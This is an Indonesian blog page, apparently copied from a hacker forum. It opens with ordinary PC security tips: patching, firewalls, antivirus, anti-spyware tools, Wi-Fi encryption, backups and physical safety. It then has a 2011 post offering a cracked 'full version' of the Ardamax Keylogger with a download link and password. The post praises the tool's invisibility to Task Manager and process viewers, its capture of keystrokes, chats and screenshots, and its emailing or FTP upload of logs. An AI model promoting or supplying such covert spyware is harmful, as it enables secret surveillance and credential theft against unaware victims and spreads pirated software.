- Hati-hati saat kendaraan anda mengalami gangguan dijalan, misal: ban bocor, yang seringkali dimanfaatkan oleh penjahat untuk mencuri laptop anda.
http://hacker-newbie.org/showthread.php?tid=11249
Meng-upgrade sistem operasi ke yang lebih baru, setidaknya tetap mengikuti program terakhir yang disediakan.
Pengguna Microsoft Windows XP meng-upgrade ke Microsoft Windows XP Service Pack (SP) 2.
Untuk pengguna Microsoft Windows 95/98/ME/NT, disarankan meng-upgrade ke yang lebih tinggi.
Menutup celah keamanan pada sistem operasi dengan memasang security patch terkini.
2. Gunakan Firewall
Firewall membantu melindungi komputer dari hacker jahat, worm, dan beberapa spyware.
Gunakan Windows Firewall (tersedia pada Windows XP SP2) atau produk-produk firewall lainnya baik yang harus beli maupun yang gratis. Beberapa program firewall komersial adalah ZoneAlarm, Agnitum Outpost Personal Firewall, Checkpoint Firewall, dll. Sedangkan yang gratis seperti Comodo Personal Firewall, Sunbelt Personal Firewall,
Untuk pengguna internet broadband, pastikan router sudah memiliki firewall.
3. Install Antivirus
Antivirus melindungi kita dari akses virus pada komputer dan serangan-serangan jahat lain seperti trojan dan worm. Antivirus bisa mencari virus, trojan, dan worm yang berdiam di komputer dan melakukan pemindai terhadap email yang masuk maupun email yang keluar. Yang terpenting adalah:
Pastikan Antivirus anda selalu diset untuk meng-update pengetahuannya tentang virus-virus terbaru.
Pastikan juga program Antivirus anda adalah versi yang terakhir.
Jangan membuka attachment email dari orang yang tidak anda kenal.
Lakukan pemindai (scanning) terhadap removable device seperti hard disk external, USB disk, maupun CD/DVD yang terkadang mengaktifkan auto-run.
4. Selalu Update
Sama seperti sistem operasi, piranti lunak yang terus di-update akan terbebas dari masalah kelemahan keamanan. Selain itu, gunakan program-program terkini agar terus mengikuti perkembangan keamanan program.
5. Mencegah Spyware
Spyware adalah program kecil yang hinggap di komputer kita untuk merekam dan mengirimkan semua data-data dan kegiatan yang terjadi di komputer, tentunya hanya kegiatan yang diinginkan si pembuatlah yang direkam, seperti aktivitas keyboard oleh keylogger.
Mencegah spyware dapat dilakukan dengan:
Waspada terhadap file yang anda buka atau download lewat internet atau email.
Jangan menginstall program yang tidak jelas pembuatnya.
Jangan sembarangan berselancar ke situs yang memiliki tingkat risiko tinggi. Sebagai contoh: Banyak situs porno yang mengandung spyware.
Menghilangkan spyware bisa menggunakan program AntiSpyware seperti Windows Defender, Ad-Aware, Spybot Search & Destroy, dll lalu lakukan pemindai di seluruh komputer. Yakinkan program selalu melakukan update otomatis dan memindai komputer setiap hari sebelum anda memulai kerja.
6. Amankan Koneksi Nirkabel (Wireless)
Apabila anda memiliki jaringan nirkabel, selalu ikuti dokumentasi instalasi dan :
Gunakan MAC filtering untuk membatasi penggunaan pada komputer yang dipercaya saja.
Gunakan enkripsi WPA atau WPA2 yang lebih aman untuk mengurangi risiko penyadapan.
7. Membatasi Resiko Email Spam
Ada beberapa hal yang dapat dilakukan untuk mengurangi resiko terhadap spam:
Jangan meng-klik apapun terhadap email yang telah diidentifikasi sebagai spam.
Pisahkan antara email pribadi / kantor dengan email yang digunakan khusus untuk melakukan registrasi online.
Gunakan email client yang sudah terintegrasi dengan spam filter atau pasang progra
8. Backup
Selalu backup file-file penting dan simpan di tempat lain yang aman, pastikan file-file terbackup dengan baik dan tidak mengandung malware.
9. Keamanan Fisik
- Buat tanda ?keamanan? pada komputer anda dan benda lain yang anda anggap penting, agar selalu ingat bahwa barang tersebut butuh keamanan.
- Pastikan tidak meninggalkan catatan-catatan kecil di sembarang tempat.
- Catat setiap nomor serial dan jangan sampai orang lain tahu.
- Pastikan pintu rumah, jendela, garasi terkunci dengan baik. Alat pendeteksi gerak dan alarm meningkatkan pengamanan rumah anda.
- jangan biarkan komputer terlihat dari luar rumah, tentu akan mengundang pencuri.
- Pakai kunci pengaman tambahan untuk laptop, misal: fingerprint, usb dongle, dll.
- Gunakan tas yang memiliki pengaman tambahan untuk laptop.
- Hati-hati saat kendaraan anda mengalami gangguan dijalan, misal: ban bocor, yang seringkali dimanfaatkan oleh penjahat untuk mencuri laptop anda.
http://hacker-newbie.org/showthread.php?tid=11249
Senin, 28 November 2011
Ardamax Keylogger 3.8.9 Full Version
Ardamax Keylogger adalah keystroke perekam yang menangkap aktivitas pengguna dan menyimpannya ke sebuah file log yang terenkripsi.
File log dapat dilihat dengan Log Viewer.
Gunakan tool ini untuk mencari tahu apa yang terjadi pada komputer Anda saat Anda pergi, menjaga Backup data Anda mengetik secara otomatis atau
menggunakannya untuk memantau anak-anak Anda. Anda juga dapat menggunakannya sebagai perangkat pemantauan untuk mendeteksi akses yang tidak sah.
Log dapat secara otomatis dikirim ke alamat e-mail Anda, akses ke keylogger dilindungi kata sandi.
Selain itu, Ardamax keylogger menginformasi log tentang alamat Internet pengguna kunjungi.
Aplikasi spy / mata-mata tak terlihat (invisible spy application) dirancang untuk Windows 2000, XP, 2003, Vista dan Windows 7.
Fitur Keylogger :
-) Email log - keylogger dapat mengirimkan log file ke email Anda
-) FTP log - Ardamax Keylogger dapat mengupload file log melalui FTP
-) Clipboard logging - mampu mengcapture / mengcopy semua text ke windows clipboard
-) Visual surveillance - membuat screenshot dan menyimpan gambar dikompresi ke log file.
-) Security - memungkinkan Anda untuk melindungi pengaturan program, mode hidden dan log file
-) Time/Date tracking - memungkinkan Anda untuk menentukan waktu yang tepat waktu penerimaan log file
-) Powerful Log Viewer - Anda dapat melihat dan menyimpan log sebagai halaman HTML atau teks biasa dengan Log Viewer keylogger.
-) Small size – Ardamax Keylogger adalah beberapa kali lebih kecil dari pada program lain dengan fitur yang sama.
Ini tidak memiliki modul tambahan dan library,sehingga ukurannya lebih kecil sehingga memiliki kinerja yang lebih mantap..
-) Ardamax Keylogger mendukung Unicode characters yang memungkinkan untuk merekam ketikan yang menyertakan karakter dari Jepang, Cina, Arab dan banyak set karakter lainnya.
-)Terdapat Mode tidak terlihat yang membuatnya benar-benar tak terlihat siapa pun.
Ardamax Keylogger tidak terlihat di task bar, system tray, Windows 7 2000/XP/2003/Vista/Windows Task Manager,Process Explorer, WinTasks,dll,
Start Menu dan daftar Windows Startup.
-) Chat monitoring - Ardamax Keylogger di desain / dibuat jg untuk merekam percakapan pada aplikasi-aplikasi chat seperti :
AIM
Windows Live Messenger 2011
ICQ 7
Skype 4
Yahoo Messenger 10
Google Talk
Miranda
QiP 2010
Fitur Lainnya :-) Windows 2000/2003/XP/Vista/Windows 7 support
-) Monitors multi-user machines
-) Automatic startup
-) Friendly interface
-) Mudah di install
Download : DISINIPassword :
digitalcat
http://hacker-newbie.org/showthread.php?tid=11125
Langganan:
Postingan (Atom)